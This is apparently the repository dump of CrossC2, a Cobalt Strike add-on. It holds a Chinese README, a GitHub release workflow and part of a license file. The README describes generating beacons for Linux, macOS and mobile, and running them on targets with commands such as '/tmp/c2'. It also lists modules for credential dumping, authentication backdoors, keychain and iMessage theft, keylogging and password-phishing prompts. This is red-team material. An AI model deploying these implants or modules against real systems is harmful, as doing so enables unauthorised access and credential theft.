15 | 🔥 现已支持从内存加载脚本 [GO📌](#内存中运行脚本)
16 |
17 | 🎉 **Android** & **iPhone** 支持 [GO📌](#Mobile)
18 |
19 |
20 | # CrossC2 framework - 生成CobaltStrike的跨平台beacon
21 |
22 | ```
23 | ▄████▄ ██▀███ ▒█████ ██████ ██████ ▄████▄ ██████▄
24 | ▒██▀ ▀█ ▓██ ▒ ██▒▒██▒ ██▒▒██ ▒ ▒██ ▒ ▒██▀ ▀█ ██░
25 | ▒▓█ ▄ ▓██ ░▄█ ▒▒██░ ██▒░ ▓██▄ ░ ▓██▄ ▒▓█ █████▒
26 | ▒▓▓▄ ▄██▒▒██▀▀█▄ ▒██ ██░ ▒ ██▒ ▒ ██▒ ▒▓▓▄ ▄█ ░▒██
27 | ▒ ▓███▀ ░░██▓ ▒██▒░ ████▓▒░▒██████▒▒▒██████▒▒ ▒ ▓███▀ ░▒▓█████▓
28 | ░ ░▒ ▒ ░░ ▒▓ ░▒▓░░ ▒░▒░▒░ ▒ ▒▓▒ ▒ ░▒ ▒▓▒ ▒ ░ ░ ░▒ ▒ ░▒ ░▓ ░░
29 | ░ ▒ ░▒ ░ ▒░ ░ ▒ ▒░ ░ ░▒ ░ ░░ ░▒ ░ ░ ░ ▒ ░ ░░ ░
30 | ░ ░░ ░ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ CrossC2 v2.2 @hook
31 | ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
32 | ░ ░
33 | ```
34 |
35 | 
36 |
37 | 
38 |
39 |
40 | # Description
41 |
42 | 面向企业自身及红队人员的安全评估框架,支持CobaltStrike对其他平台(Linux/MacOS/...)的安全评估,支持自定义模块,及包含一些常用的渗透模块。
43 |
44 | `仅做企业、组织内部自身使用,本框架具有一定脆弱性,非专业人员请勿使用,以及禁止用于非法用途及盈利等,否则造成经济损失等问题自行承担并追究其相关责任!`
45 |
46 |
47 | | | Windows | Linux | MacOS | iOS | Android | Embedded |
48 | | --- | --- | --- | --- | --- | --- | --- |
49 | | Run Env (x86) | | √ | | | | |
50 | | Run Env (x64) | √ | √ | √ | | | |
51 | | gen beacon (x86) | | √ | | | √ | |
52 | | gen beacon (x64) | | √ | √ | | | |
53 | | gen beacon (armv7) | | | | ⍻ | √ | |
54 | | gen beacon (arm64) | | | | √ | √ | |
55 | | gen beacon (mips[el]) | | | | | | ⍻ |
56 |
57 | 受限说明:
58 | * CobaltStrike: 暂时仅支持3.14最后一个版本(bug fixs), 以及4.x版本(详见cs4.1分支).
59 | * Linux: 特别老旧的系统可以选择cna中的"Linux-GLIBC"选项(2010年左右)
60 | * MacOS: 新系统仅支持64位程序
61 | * iOS: sandbox
62 | * Embedded: only *nix
63 | * ⍻ : 加载还在完善中
64 |
65 | # Install & Usage
66 |
67 | > 下载基础文件:
68 |
69 | * **CrossC2.cna**
70 | * **genCrossC2** `(如果操作系统是Windows, 下载genCrossC2.Win.exe)`
71 |
72 | 注意事项⚠️
73 | genCrossC2.Win.exe 需要依赖的两个文件为`ucrtbased.dll`,`vcruntime140d.dll`。
74 | 可自己安装依赖或者使用issue中提供的文件拷贝至`C:\Windows\System32`
75 | [issue: win_sdk_dll](https://github.com/gloxec/CrossC2/issues/49#issuecomment-748630879)
76 |
77 |
78 | 1. 修改`CrossC2.cna`脚本中`CC2_PATH, CC2_BIN`路径为**真实路径**
79 | ```
80 | 3: $CC2_PATH = "/xxx/xx/xx/"; # <-------- fix
81 | 4: $CC2_BIN = "genCrossC2.MacOS";
82 | ```
83 |
84 | 2. 选择`Script Manager`,添加`CrossC2.cna` (如果成功安装,菜单栏会多出一项 `CrossC2`)
85 |
86 |
87 | > 建立listener与拷贝key:
88 |
89 | 因为一些原因,目前强制只支持HTTPS beacon。
90 |
91 | 1. 复制**server上cs目录**下的 `.cobaltstrike.beacon_keys`到**本地目录**下
92 |
93 | > 功能扩展:
94 |
95 | 1. 下载CrossC2Kit, 添加`CrossC2Kit_Loader.cna`, 包含内存加载等其它功能。(`cs4.x`版本文件管理功能缺失,必须使用此Loader来重新启用文件管理)
96 |
97 | > 运行beacon的方法:
98 |
99 | * 在目标上运行CrossC2插件生成的一键上线脚本
100 | * 上传beacon至目标机器后进行赋权运行
101 | * 为beacon设定工作目录并运行: `export CCPATH=/opt/ && /tmp/c2`
102 | * 为beacon临时指定协议库并运行: `/tmp/c2 /tmp/c2-rebind.so`
103 | * 为beacon临时设定C2配置: `export CCHOST=127.0.0.1 && export CCPORT=443 && /tmp/c2`
104 |
105 |
106 | ## 安装参考文档: [📖 Wiki](https://gloxec.github.io/CrossC2/zh_cn/usage/)
107 |
108 | ## 自定义模块: API介绍 [📖 Wiki](https://gloxec.github.io/CrossC2/zh_cn/api/)
109 |
110 | 采用内存无落地加载方式,支持动态库(.so/.dylib)以及可执行文件(ELF/MachO)。
111 |
112 |
113 | 执行时输出信息的类型可以自由指定,已预定了返回类型,可对接CS原生的返回数据类型。
114 |
115 |
116 | 注意事项⚠️
117 | `⚠️: 虽然文件都是无落地从内存加载,但选用可执行文件(ELF/MachO)的方式在传入参数时,进程是可以在ps中查看到的,不过进程名可以自定义。`
118 | `⚠️: 关于特殊的数据类型,如密码,端口扫描结果等,请参照cs原生功能返回的信息编写,将按照正则匹配。`
119 |
120 |
121 |
122 | 现有扩展模块
123 |
124 | 1. 密码dump模块:cc2_mimipenguin 采用开源项目 MimiPenguin2.0,参见 CrossC2Kit/mimipenguin/mimipenguin.cna
125 |
126 | 2. 认证后门模块:cc2_auth, cc2_ssh sudo/su/passwd等认证后门,ssh被连接及连接其他主机的凭证都将被记录。
127 |
128 | 3. 信息收集模块:cc2_safari_dump, cc2_chrome_dump, cc2_iMessage_dump, cc2_keychain_dump 常见浏览器的访问记录,以及iMessage聊天内容与钥匙串中保存的认证凭据都将被获取。
129 |
130 | 4. 流量代理模块:cc2_frp 支持快速TCP/KCP(UDP)的反向socks5加密流量代理。
131 |
132 | 5. 键盘记录模块:cc2_keylogger 记录用户的键盘输入。
133 |
134 | 6. 网络探测模块:cc2_portscan, cc2_serverscan 进行端口扫描及服务版本扫描。
135 |
136 | 7. 权限提升模块:cc2_prompt_spoof 诱导欺骗获取用户账户密码。
137 |
138 | 8. 任务管理模块:cc2_job 管理内存中运行的模块。
139 |
140 | 9. ...
141 |
142 |
143 |
144 |
145 | ## 自定义通信协议: API介绍 [📖 Wiki](https://gloxec.github.io/CrossC2/zh_cn/protocol/)
146 |
147 | 可以更便捷的实现C2Profile配置及自定义通信协议TCP/UDP等等。
148 |
149 | ## 横向移动
150 |
151 | 1. 生成 `Linux-bind` / `MacOS-bind` 类型的beacon
152 | 2. 内网中的目标运行 `./MacOS-bind.beacon ` 开启服务
153 | 3. 在网络联通的session中运行 `connect :`
154 |
155 | ## 内存中运行脚本
156 |
157 |
158 | 运行示例
159 |
160 | 可以直接在会话中调用主机中的 **bash** / **python** / **ruby** / **perl** / **php** 等脚本解释器执行传入内存中的脚本。
161 | `进程中不会存在任何信息,所有运行的内容皆从内存中传入解释器`
162 | 1. python c:\getsysteminfo.py
163 | 2. python import base64;print base64.b64encode('whoami'); print 'a'*40
164 | 3. php
165 |
166 | 尝试加载本地脚本:
167 | 
168 |
169 | 尝试直接运行脚本语言:
170 | 
171 |
172 |
173 |
174 | # 即将上线
175 |
176 | 1. 丰富的C2Profile支持 ✔︎ (cna生成beaocn时选择自定义HTTP模块)
177 | 2. Staged类型Shellcode生成 ✔︎ (暂时只支持Linux,并且需要在server服务器上启动stagerServer)
178 | 3. http-proxy (auth) & socks 代理回连支持
179 | 4. 流量中转支持 ✔︎ (暂时采用回连socks代理的方式)
180 | 5. node beacon? (单个节点式,可进行不依靠teamserver托管其他beacon)
181 | 6. Linux & MacOS 端so/dylib的上线支持、及其衍生的进程注入等功能
182 |
183 | # Examples
184 |
185 |
186 | Mobile
187 |
188 | ## Mobile
189 | 
190 |
191 | 
192 |
193 |
194 |
195 |
196 | MacOS & Linux
197 |
198 | ## MacOS & Linux
199 |
200 | 
201 | 
202 |
203 |
204 |
205 |
206 | CustomExtension
207 |
208 | ## CustomExtension
209 |
210 | 开发动态库,自定义数据返回类型,例如实现一些内置功能。
211 |
212 |
213 | ### 键盘记录
214 | 
215 |
216 | ### 口令凭证
217 | 
218 |
219 | ### 端口扫描
220 | 
221 |
222 |
223 |
224 | # ChangeLog
225 |
226 | ## release v2.2.5 - stable :
227 | * -修复 v2.2.4 版本引入的Linux高版本上线问题
228 | * -修复 内存执行在传入参数时可能会失败的bug
229 | * -修复 修复网络连接异常时导致崩溃的bug,例如正在发包时teamserver突然异常退出等 #106
230 | * -修复 connect指令在连接子节点时未指定端口将异常退出的bug #95
231 | * +支持 CDN类服务器SNI支持,现如Cloudflare服务已可正常使用 #87
232 | * +支持 Linux 32&64 位都已支持procfs获取进程信息
233 | * -变更 beacon上线时`[config]: alive`将默认不显示,可使用export CC_DEBUG=1开启 #78
234 |
235 | ## release v2.2.4 - stable :
236 | * -修复 v2.2.3 的上线问题 #84 #85
237 | * +支持 Linux支持从procfs中获取进程列表信息
238 |
239 | ## release v2.2.3 :
240 | * -修复 修复32位Linux下打开文件管理器时beacon退出的bug
241 | * -修复 修复多指令合并任务中`bcd`、`bls`、`bupload`等函数解析错误问题,现在可以处理与windows beacon相同的cna脚本 #81
242 | * +支持 添加两个环境变量用于临时设置beacon连接的C2地址 (`CCHOST` & `CCPORT`)
243 |
244 | > export CCHOST=127.0.0.1 && export CCPORT=443 && /tmp/c2
245 |
246 | * +支持 添加bupload函数支持 https://github.com/gloxec/CrossC2/issues/81#issuecomment-841068719
247 |
248 | ## release v2.2.2 - stable:
249 | * -修复 修复加载自定义通信协议库时导致beacon无法启动的一些bug
250 | * +支持 新增两种强制指定beacon加载自定义通信协议库的运行方式
251 |
252 | > 1. export CCPATH=/opt/ && /tmp/c2
253 | (为beacon强制设定具有权限的工作目录, 例如 `/opt/`)
254 | > 2. /tmp/c2 /tmp/c2-rebind.so
255 | (为beacon强制指定通信协议库)
256 |
257 |
258 | 历史版本更新说明
259 |
260 | ## release v2.2.1 :
261 | * -修复 修复文件下载速度过慢的问题(现已达到满速)
262 | * -修复 修复同时下载多个文件出现的问题(使用`downloads`命令查看进度)
263 | * -修复 修复低版本内核系统上`/tmp/`目录文件权限默认没有执行权限,导致`beacon`无法启动的问题
264 | * -修复 修复低版本内核系统上`beacon`反复上线时,资源被占用导致失败的问题
265 | * -修复 修复文件落地时在低版本内核系统时遇到名称冲突,无法运行的问题
266 |
267 | ## release v2.2 :
268 |
269 | * -变更 仅支持 CS4.x (>=4.1),低版本后续将不再支持。
270 | * -修复 修复通信协议重绑定在低版本Linux内核上错误的问题
271 | * +支持 C2域名解析支持
272 | * +支持 支持内存执行组件的持续化调用
273 | * +支持 支持添加内存执行的shell别名,方便团队其他人直接通过shell指令调用已加载的内存执行组件
274 | * +支持 python-import支持,像powershell-import一样为python执行提供便利
275 | * +支持 genCrossC2生成器支持更低版本的GLIBC
276 |
277 | ## release v2.1 :
278 |
279 | * +支持 支持从内存中解析执行脚本
280 | * +支持 支持CobaltStrike 4.1 (详见cs4.1分支)
281 |
282 | ## release v2.0 :
283 |
284 | * -修复 修复文件管理处上传文件时带反斜杠导致路径出错的问题
285 | * -修复 真实环境中多种场景下长时间测试,修复一些隐藏的问题,现在更加稳定
286 | * +支持 更低内核版本系统的支持
287 | * +支持 启动时环境变量自动设置
288 | * +支持 启动时敏感env记录删除
289 | * +支持 启动时可后台服务进程方式挂属init进程下
290 | * +支持 增加session spawn功能
291 | * +支持 增加session 设置环境变量的功能
292 | * +支持 增加session getsystem权限提升功能
293 | * +支持 增加session 处理多个合并任务的解析功能
294 | * +支持 增加 Mac & Linux 横向移动的功能
295 |
296 | ## release v1.5 :
297 |
298 | * -修复 修复genCrossC2的通讯协议重绑定错误
299 |
300 | ## release v1.4 :
301 |
302 | * -修复 Linux后台进程与joblist显示错误的问题
303 |
304 | ## release v1.3 :
305 |
306 | * +支持 支持自定义通信协议 (HTTP, TCP, UDP...) .
307 | * +支持 新添加了joblist模块,可用来管理内存中持续运行的模块.
308 | * +支持 添加了反向代理模块{TCP/KCP(UDP)},同样属于内存无落地运行.
309 |
310 |
311 | md5(genCrossC2.Linux) = 221b3ede4e78fee80f59946f116d7245
312 |
313 | md5(genCrossC2.MacOS) = d216cad3fe3c25ead46b85c7ad7051f1
314 |
315 | md5(genCrossC2.Win.exe) = a573506e8825b46b041ac3b9307a656b
316 |
317 | ## release v1.2 :
318 |
319 | * +支持 可以支持选择生成beacon时所需的key文件.
320 | * +支持 支持生成shellcode.
321 | * -变更 不再依赖cobaltstrike.jar (意味着CrossC2插件可以放在任意位置).
322 | * -变更 更加便捷的Unix系统上线方式.
323 |
324 | md5(genCrossC2.Linux) = 2ef7250cc3787d3cbd1e6f99c3c434aa
325 |
326 | md5(genCrossC2.MacOS) = eaabde94dd7fed8dabb37cd67a1171c4
327 |
328 | md5(genCrossC2.Win.exe) = c65ac808ed3a1000b3ff4ebb8c48ea4e
329 |
330 | ## release v1.1 :
331 |
332 | * -修复 内存加载执行功能的多国语言乱码问题修复
333 |
334 | md5(genCrossC2.Linux) = 2347ed6e30e4655b793a6dbb4d33d25c
335 |
336 | md5(genCrossC2.MacOS) = f530333500a76fe228864f8901af4104
337 |
338 | md5(genCrossC2.Win.exe) = c223e31b2674a8a11d3254f92259e87a
339 |
340 | ## release v1.0 :
341 |
342 | * -修复 真实环境中多种场景下长时间多次测试,修复一些隐藏的问题,现在更加稳定
343 | * +支持 Linux & MacOS 支持无文件内存加载执行
344 | * +支持 预留CS内置数据类型,更加丰富的用户自定义插件返回数据类型,可自由便捷实现'portscan'等等原生功能
345 |
346 | md5(genCrossC2.Linux) = 12295998d4bffd5b4c4a411fb33428bb
347 |
348 | md5(genCrossC2.MacOS) = c88ce9df47529b243e2215a866d445c5
349 |
350 | md5(genCrossC2.Win.exe) = 51d1814f1ebbab634bce0373ceb7cee6
351 |
352 | ## release v0.4 :
353 |
354 | * -变更 shell命令执行时采用后台多线程方式
355 | * -变更 shell命令执行时错误输出重定向到标准输出
356 | * +支持 增加后台文件下载功能
357 |
358 | md5(genCrossC2.Linux) = b2e34f721ec2543b6625e33c8c2935df
359 |
360 | md5(genCrossC2.MacOS) = 4e38a9d9a3eeff309648afc02e2e7664
361 |
362 | ## release v0.3 :
363 |
364 | * +支持 老系统Linux上低版本GLIBC的兼容 (2010年左右)
365 |
366 | ## release v0.2 :
367 |
368 | * -修复 Linux genCrossC2.Linux 崩溃的bug.
369 | * -修复 大文件上传时末尾字节写入不全的bug.
370 | * +支持 GUI的文件管理器.
371 |
372 | md5(genCrossC2.Linux) = 8256374d88c2149efc102aff7e90b3f9
373 |
374 | md5(genCrossC2.MacOS) = 08fce0a5d964a091d8bf2344d7ab809e
375 |
376 | ## release v0.1 :
377 |
378 | * 支持 生成 Linux & MacOS beacon.
379 |
380 | md5(genCrossC2.Linux) = f4c0cc85c7cdd096d2b7febedc037538
381 |
382 | md5(genCrossC2.MacOS) = 79fff0505092fc2055824ed1289ce8f9
383 |
384 |
385 |
386 |
387 |
388 |
389 |
390 |
391 |
392 |
393 |
--------------------------------------------------------------------------------
/.github/workflows/compile-base-release.yml:
--------------------------------------------------------------------------------
1 | on:
2 | release:
3 | types:
4 | published
5 |
6 | name: Compile Base Release
7 | jobs:
8 | job1:
9 | name: build (linux)
10 | runs-on: ubuntu-20.04
11 | steps:
12 | - name: Checkout code
13 | uses: actions/checkout@v2
14 | with:
15 | submodules: 'true'
16 | - name: Get current date
17 | id: date
18 | run: echo "::set-output name=date::$(date +'%Y-%m-%d')"
19 | - name: Build project
20 | run: |
21 | uname -a
22 | cp -r CrossC2Kit/third-party /tmp/third-party
23 | cp release.sh /tmp/
24 | cp CrossC2Kit/compile.sh /tmp/
25 | cd /tmp
26 | chmod 755 compile.sh
27 | chmod 755 release.sh
28 | ./compile.sh > /tmp/elog
29 | find /tmp/third-party/ >> /tmp/elog
30 | ./release.sh >> /tmp/elog
31 | echo 1 > /tmp/blank
32 | cd /tmp/
33 | - name: Build project
34 | run: |
35 | echo "# Arch" >> $GITHUB_STEP_SUMMARY
36 | uname -a >> $GITHUB_STEP_SUMMARY
37 | echo "# Build Result" >> $GITHUB_STEP_SUMMARY
38 | echo "" >> $GITHUB_STEP_SUMMARY
39 | echo "\`\`\`python" >> $GITHUB_STEP_SUMMARY
40 | cat /tmp/elog >> $GITHUB_STEP_SUMMARY
41 | echo "\`\`\`" >> $GITHUB_STEP_SUMMARY
42 | - name: Gets latest created release info
43 | id: latest_release_info
44 | uses: jossef/action-latest-release-info@v1.1.0
45 | env:
46 | GITHUB_TOKEN: ${{ github.token }}
47 | - name: Create a placeholder file
48 | id: create-placeholder-file
49 | uses: actions/upload-release-asset@v1
50 | env:
51 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
52 | with:
53 | upload_url: ${{ steps.latest_release_info.outputs.upload_url }} # This pulls from the CREATE RELEASE step above, referencing it's ID to get its outputs object, which include a `upload_url`. See this blog post for more info: https://jasonet.co/posts/new-features-of-github-actions/#passing-data-to-future-steps
54 | asset_path: /tmp/blank
55 | asset_name: placeholder
56 | asset_content_type: application/zip
57 | - name: Delete old release assets
58 | uses: mknejp/delete-release-assets@v1
59 | with:
60 | token: ${{ github.token }}
61 | tag: ${{ steps.latest_release_info.outputs.tag_name }}
62 | assets: |
63 | bot-third-linux*.zip
64 | placeholder
65 | - name: Upload Release Asset
66 | id: upload-release-asset
67 | uses: actions/upload-release-asset@v1
68 | env:
69 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
70 | with:
71 | upload_url: ${{ steps.latest_release_info.outputs.upload_url }} # This pulls from the CREATE RELEASE step above, referencing it's ID to get its outputs object, which include a `upload_url`. See this blog post for more info: https://jasonet.co/posts/new-features-of-github-actions/#passing-data-to-future-steps
72 | asset_path: /tmp/third-party.zip
73 | asset_name: bot-third-linux-${{ steps.date.outputs.date }}.zip
74 | asset_content_type: application/zip
75 | job2:
76 | name: build (macOS)
77 | runs-on: macos-11
78 | steps:
79 | - name: Checkout code
80 | uses: actions/checkout@v3
81 | with:
82 | submodules: 'true'
83 | - name: Get current date
84 | id: date2
85 | run: echo "::set-output name=date::$(date +'%Y-%m-%d')"
86 | - name: Build project
87 | run: |
88 | uname -a
89 | cp -r CrossC2Kit/third-party /tmp/third-party
90 | cp release.sh /tmp/
91 | cp CrossC2Kit/compile.sh /tmp/
92 | cd /tmp
93 | chmod 755 compile.sh
94 | chmod 755 release.sh
95 | ./compile.sh > /tmp/elog
96 | find /tmp/third-party/ >> /tmp/elog
97 | ./release.sh >> /tmp/elog
98 | echo 1 > /tmp/blank
99 | cd /tmp/
100 | - name: Build project
101 | run: |
102 | echo "# Arch" >> $GITHUB_STEP_SUMMARY
103 | uname -a >> $GITHUB_STEP_SUMMARY
104 | echo "# Build Result" >> $GITHUB_STEP_SUMMARY
105 | echo "" >> $GITHUB_STEP_SUMMARY
106 | echo "\`\`\`python" >> $GITHUB_STEP_SUMMARY
107 | cat /tmp/elog >> $GITHUB_STEP_SUMMARY
108 | echo "\`\`\`" >> $GITHUB_STEP_SUMMARY
109 | - name: Gets latest created release info
110 | id: latest_release_info2
111 | uses: jossef/action-latest-release-info@v1.1.0
112 | env:
113 | GITHUB_TOKEN: ${{ github.token }}
114 | - name: Create a placeholder file
115 | id: create-placeholder-file2
116 | uses: actions/upload-release-asset@v1
117 | env:
118 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
119 | with:
120 | upload_url: ${{ steps.latest_release_info2.outputs.upload_url }} # This pulls from the CREATE RELEASE step above, referencing it's ID to get its outputs object, which include a `upload_url`. See this blog post for more info: https://jasonet.co/posts/new-features-of-github-actions/#passing-data-to-future-steps
121 | asset_path: /tmp/blank
122 | asset_name: placeholder
123 | asset_content_type: application/zip
124 | - name: Delete old release assets
125 | uses: mknejp/delete-release-assets@v1
126 | with:
127 | token: ${{ github.token }}
128 | tag: ${{ steps.latest_release_info2.outputs.tag_name }}
129 | assets: |
130 | bot-third-mac*.zip
131 | placeholder
132 | - name: Upload Release Asset
133 | id: upload-release-asset2
134 | uses: actions/upload-release-asset@v1
135 | env:
136 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
137 | with:
138 | upload_url: ${{ steps.latest_release_info2.outputs.upload_url }} # This pulls from the CREATE RELEASE step above, referencing it's ID to get its outputs object, which include a `upload_url`. See this blog post for more info: https://jasonet.co/posts/new-features-of-github-actions/#passing-data-to-future-steps
139 | asset_path: /tmp/third-party.zip
140 | asset_name: bot-third-mac-${{ steps.date2.outputs.date }}.zip
141 | asset_content_type: application/zip
142 | job3:
143 | needs: [job1, job2]
144 | name: build release
145 | runs-on: ubuntu-20.04
146 | steps:
147 | - name: Checkout code
148 | uses: actions/checkout@v3
149 | with:
150 | submodules: 'true'
151 | - name: Download Release Asset
152 | id: download_release_asset
153 | uses: i3h/download-release-asset@v1
154 | with:
155 | owner: gloxec
156 | repo: CrossC2
157 | tag: latest
158 | file: /bot-third-linux-.*zip/
159 | path: /tmp/
160 | - name: Download Release Asset
161 | id: download_release_asset2
162 | uses: i3h/download-release-asset@v1
163 | with:
164 | owner: gloxec
165 | repo: CrossC2
166 | tag: latest
167 | file: /bot-third-mac-.*zip/
168 | path: /tmp/
169 | - name: Get current date
170 | id: date3
171 | run: echo "::set-output name=date::$(date +'%Y-%m-%d')"
172 | - name: Build project
173 | run: |
174 | uname -a
175 | cp -r CrossC2Kit /tmp/CrossC2Kit
176 | cp src/CrossC2.cna /tmp/CrossC2.cna
177 | rm -rf /tmp/CrossC2Kit/third-party/
178 | mv /tmp/bot-third-mac-*.zip /tmp/CrossC2Kit/third-mac.zip
179 | mv /tmp/bot-third-linux-*.zip /tmp/CrossC2Kit/third-linux.zip
180 | cd /tmp/CrossC2Kit/
181 | unzip -o third-mac.zip
182 | unzip -o third-linux.zip
183 | rm -rf third-mac.zip
184 | rm -rf third-linux.zip
185 | cd /tmp/
186 | zip -r CrossC2Kit-${{ steps.date3.outputs.date }} CrossC2Kit > /tmp/elog
187 | echo 1 > /tmp/blank
188 | cd /tmp/
189 | - name: Build project
190 | run: |
191 | echo "# Build Files" >> $GITHUB_STEP_SUMMARY
192 | echo "" >> $GITHUB_STEP_SUMMARY
193 | echo "\`\`\`python" >> $GITHUB_STEP_SUMMARY
194 | cat /tmp/elog >> $GITHUB_STEP_SUMMARY
195 | echo "\`\`\`" >> $GITHUB_STEP_SUMMARY
196 | - name: Gets latest created release info
197 | id: latest_release_info3
198 | uses: jossef/action-latest-release-info@v1.1.0
199 | env:
200 | GITHUB_TOKEN: ${{ github.token }}
201 | - name: Create a placeholder file
202 | id: create-placeholder-file3
203 | uses: actions/upload-release-asset@v1
204 | env:
205 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
206 | with:
207 | upload_url: ${{ steps.latest_release_info3.outputs.upload_url }} # This pulls from the CREATE RELEASE step above, referencing it's ID to get its outputs object, which include a `upload_url`. See this blog post for more info: https://jasonet.co/posts/new-features-of-github-actions/#passing-data-to-future-steps
208 | asset_path: /tmp/blank
209 | asset_name: placeholder
210 | asset_content_type: application/zip
211 | - name: Delete old release assets
212 | uses: mknejp/delete-release-assets@v1
213 | with:
214 | token: ${{ github.token }}
215 | tag: ${{ steps.latest_release_info3.outputs.tag_name }}
216 | assets: |
217 | bot-third-*.zip
218 | CrossC2Kit-*.zip
219 | CrossC2-GithubBot-*.cna
220 | placeholder
221 | - name: Upload CrossC2Kit Release Asset
222 | id: upload-release-asset3
223 | uses: actions/upload-release-asset@v1
224 | env:
225 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
226 | with:
227 | upload_url: ${{ steps.latest_release_info3.outputs.upload_url }} # This pulls from the CREATE RELEASE step above, referencing it's ID to get its outputs object, which include a `upload_url`. See this blog post for more info: https://jasonet.co/posts/new-features-of-github-actions/#passing-data-to-future-steps
228 | asset_path: /tmp/CrossC2Kit-${{ steps.date3.outputs.date }}.zip
229 | asset_name: CrossC2Kit-GithubBot-${{ steps.date3.outputs.date }}.zip
230 | asset_content_type: application/zip
231 | - name: Upload CrossC2 Release Asset
232 | id: upload-release-asset2
233 | uses: actions/upload-release-asset@v1
234 | env:
235 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
236 | with:
237 | upload_url: ${{ steps.latest_release_info3.outputs.upload_url }} # This pulls from the CREATE RELEASE step above, referencing it's ID to get its outputs object, which include a `upload_url`. See this blog post for more info: https://jasonet.co/posts/new-features-of-github-actions/#passing-data-to-future-steps
238 | asset_path: /tmp/CrossC2.cna
239 | asset_name: CrossC2-GithubBot-${{ steps.date3.outputs.date }}.cna
240 | asset_content_type: application/zip
241 |
--------------------------------------------------------------------------------
/CrossC2Kit_demo/mimipenguin/LICENSE:
--------------------------------------------------------------------------------
1 | Creative Commons Attribution 4.0 International Public License
2 | https://creativecommons.org/licenses/by/4.0/
3 |
4 | By exercising the Licensed Rights (defined below), You accept and agree to be bound by the terms and conditions of this Creative Commons Attribution 4.0 International Public License ("Public License"). To the extent this Public License may be interpreted as a contract, You are granted the Licensed Rights in consideration of Your acceptance of these terms and conditions, and the Licensor grants You such rights in consideration of benefits the Licensor receives from making the Licensed Material available under these terms and conditions.
5 |
6 | Section 1 – Definitions.
7 |
8 | Adapted Material means material subject to Copyright and Similar Rights that is derived from or based upon the Licensed Material and in which the Licensed Material is translated, altered, arranged, transformed, or otherwise modified in a manner requiring permission under the Copyright and Similar Rights held by the Licensor. For purposes of this Public License, where the Licensed Material is a musical work, performance, or sound recording, Adapted Material is always produced where the Licensed Material is synched in timed relation with a moving image.
9 | Adapter's License means the license You apply to Your Copyright and Similar Rights in Your contributions to Adapted Material in accordance with the terms and conditions of this Public License.
10 | Copyright and Similar Rights means copyright and/or similar rights closely related to copyright including, without limitation, performance, broadcast, sound recording, and Sui Generis Database Rights, without regard to how the rights are labeled or categorized. For purposes of this Public License, the rights specified in Section 2(b)(1)-(2) are not Copyright and Similar Rights.
11 | Effective Technological Measures means those measures that, in the absence of proper authority, may not be circumvented under laws fulfilling obligations under Article 11 of the WIPO Copyright Treaty adopted on December 20, 1996, and/or similar international agreements.
12 | Exceptions and Limitations means fair use, fair dealing, and/or any other exception or limitation to Copyright and Similar Rights that applies to Your use of the Licensed Material.
13 | Licensed Material means the artistic or literary work, database, or other material to which the Licensor applied this Public License.
14 | Licensed Rights means the rights granted to You subject to the terms and conditions of this Public License, which are limited to all Copyright and Similar Rights that apply to Your use of the Licensed Material and that the Licensor has authority to license.
15 | Licensor means the individual(s) or entity(ies) granting rights under this Public License.
16 | Share means to provide material to the public by any means or process that requires permission under the Licensed Rights, such as reproduction, public display, public performance, distribution, dissemination, communication, or importation, and to make material available to the public including in ways that members of the public may access the material from a place and at a time individually chosen by them.
17 | Sui Generis Database Rights means rights other than copyright resulting from Directive 96/9/EC of the European Parliament and of the Council of 11 March 1996 on the legal protection of databases, as amended and/or succeeded, as well as other essentially equivalent rights anywhere in the world.
18 | You means the individual or entity exercising the Licensed Rights under this Public License. Your has a corresponding meaning.
19 | Section 2 – Scope.
20 |
21 | License grant.
22 | Subject to the terms and conditions of this Public License, the Licensor hereby grants You a worldwide, royalty-free, non-sublicensable, non-exclusive, irrevocable license to exercise the Licensed Rights in the Licensed Material to:
23 | reproduce and Share the Licensed Material, in whole or in part; and
24 | produce, reproduce, and Share Adapted Material.
25 | Exceptions and Limitations. For the avoidance of doubt, where Exceptions and Limitations apply to Your use, this Public License does not apply, and You do not need to comply with its terms and conditions.
26 | Term. The term of this Public License is specified in Section 6(a).
27 | Media and formats; technical modifications allowed. The Licensor authorizes You to exercise the Licensed Rights in all media and formats whether now known or hereafter created, and to make technical modifications necessary to do so. The Licensor waives and/or agrees not to assert any right or authority to forbid You from making technical modifications necessary to exercise the Licensed Rights, including technical modifications necessary to circumvent Effective Technological Measures. For purposes of this Public License, simply making modifications authorized by this Section 2(a)(4) never produces Adapted Material.
28 | Downstream recipients.
29 | Offer from the Licensor – Licensed Material. Every recipient of the Licensed Material automatically receives an offer from the Licensor to exercise the Licensed Rights under the terms and conditions of this Public License.
30 | No downstream restrictions. You may not offer or impose any additional or different terms or conditions on, or apply any Effective Technological Measures to, the Licensed Material if doing so restricts exercise of the Licensed Rights by any recipient of the Licensed Material.
31 | No endorsement. Nothing in this Public License constitutes or may be construed as permission to assert or imply that You are, or that Your use of the Licensed Material is, connected with, or sponsored, endorsed, or granted official status by, the Licensor or others designated to receive attribution as provided in Section 3(a)(1)(A)(i).
32 | Other rights.
33 |
34 | Moral rights, such as the right of integrity, are not licensed under this Public License, nor are publicity, privacy, and/or other similar personality rights; however, to the extent possible, the Licensor waives and/or agrees not to assert any such rights held by the Licensor to the limited extent necessary to allow You to exercise the Licensed Rights, but not otherwise.
35 | Patent and trademark rights are not licensed under this Public License.
36 | To the extent possible, the Licensor waives any right to collect royalties from You for the exercise of the Licensed Rights, whether directly or through a collecting society under any voluntary or waivable statutory or compulsory licensing scheme. In all other cases the Licensor expressly reserves any right to collect such royalties.
37 | Section 3 – License Conditions.
38 |
39 | Your exercise of the Licensed Rights is expressly made subject to the following conditions.
40 |
41 | Attribution.
42 |
43 | If You Share the Licensed Material (including in modified form), You must:
44 |
45 | retain the following if it is supplied by the Licensor with the Licensed Material:
46 | identification of the creator(s) of the Licensed Material and any others designated to receive attribution, in any reasonable manner requested by the Licensor (including by pseudonym if designated);
47 | a copyright notice;
48 | a notice that refers to this Public License;
49 | a notice that refers to the disclaimer of warranties;
50 | a URI or hyperlink to the Licensed Material to the extent reasonably practicable;
